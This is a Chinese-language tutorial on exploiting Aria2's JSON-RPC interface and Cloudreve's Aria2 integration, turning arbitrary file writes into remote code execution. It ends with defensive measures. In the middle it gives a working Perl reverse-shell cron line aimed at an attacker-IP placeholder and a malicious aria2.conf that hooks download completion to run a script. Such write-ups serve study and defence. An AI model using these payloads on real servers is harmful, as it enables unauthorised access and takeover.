Aria2&Cloudreve&任意文件写入到RCE
字数 1206 2025-08-22 12:22:37
Aria2 & Cloudreve 任意文件写入到RCE漏洞分析与利用
1. Aria2 基础介绍
1.1 什么是Aria2
Aria2 是一个轻量级的命令行下载工具,支持多种协议:
- HTTP/HTTPS
- FTP/SFTP
- BitTorrent
- Metalink
特点:
- 多源下载能力(可从多个服务器同时下载)
- 资源占用少
- 适合服务器和嵌入式系统使用
- 通常配合Web前端(如YAAW)使用
1.2 Aria2 常见命令行操作
-
下载单个文件:
aria2c https://example.com/file.zip -
多源下载:
aria2c https://example.com/file.zip ftp://example.org/file.zip -
BitTorrent下载:
aria2c file.torrent # 或使用磁力链接 aria2c 'magnet:?xt=urn:btih:xxxxxxxx' -
断点续传:
aria2c -c https://example.com/file.zip -
批量下载:
aria2c -i downloads.txt -
限速下载:
aria2c --max-download-limit=500K https://example.com/file.zip
2. Aria2 Web接口
2.1 JSON-RPC接口
默认RPC地址:
http://<host>:6800/jsonrpc
- 默认端口6800可配置修改
- Web前端通过此接口与Aria2通信
2.2 常见Web前端
YAAW (Yet Another Aria2 Web Frontend):
http://<host>:<port>/yaaw/index.html
- 需要手动配置RPC URL为
http://<host>:6800/jsonrpc
3. Aria2 任意文件写入漏洞
3.1 漏洞原理
通过控制下载任务参数,可将文件写入系统任意位置(需有写权限),包括:
- 写入SSH公钥实现未授权访问
- 写入cron计划任务实现RCE
- 覆盖关键配置文件
3.2 漏洞利用步骤
-
设置RPC路径:在Web前端配置正确的JSON-RPC URL
-
创建恶意下载任务:
- 设置下载URL为恶意脚本
- 设置保存路径为系统关键位置(如
/etc/cron.d)
-
恶意cron示例(每分钟反弹shell):
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="攻击者IP";$p=端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' -
利用vulhub环境测试:
https://github.com/thedogb/yaaw-docker
4. Cloudreve集成Aria2漏洞
4.1 Cloudreve与Aria2集成
Cloudreve通过RPC接口集成Aria2功能,用于:
- 离线下载
- 加速下载
4.2 文件编辑权限获取
-
通过专家模式修改存储策略:
- 进入管理面板 → 存储策略 → 专家模式
- 修改配置后可访问系统文件
-
任意文件修改:
- 可修改
/usr/aria2/aria2.conf等关键配置文件 - 示例恶意配置:
dir=/usr/aria2/data disable-ipv6=true enable-rpc=true max-download-limit=0 max-upload-limit=0 rpc-allow-origin-all=true rpc-listen-all=true rpc-listen-port=6801 rpc-secure=false seed-ratio=0 seed-time=0 on-bt-download-complete=/root/backup.sh on-download-complete=/root/backup.sh
- 可修改
4.3 漏洞利用流程
- 修改
aria2.conf指定恶意脚本路径 - 重新加载配置文件
- 创建离线下载任务触发脚本执行
- 获取反弹shell
5. 防御措施
-
Aria2防护:
- 设置RPC访问密码(
--rpc-secret) - 限制RPC访问IP(
--rpc-allow-origin-all=false) - 使用
--rpc-secure启用加密 - 限制下载目录为安全路径
- 设置RPC访问密码(
-
Cloudreve防护:
- 限制专家模式访问权限
- 定期审计配置文件修改
- 隔离Aria2服务运行环境
-
系统层面:
- 使用最小权限原则运行服务
- 定期更新软件版本
- 监控关键文件修改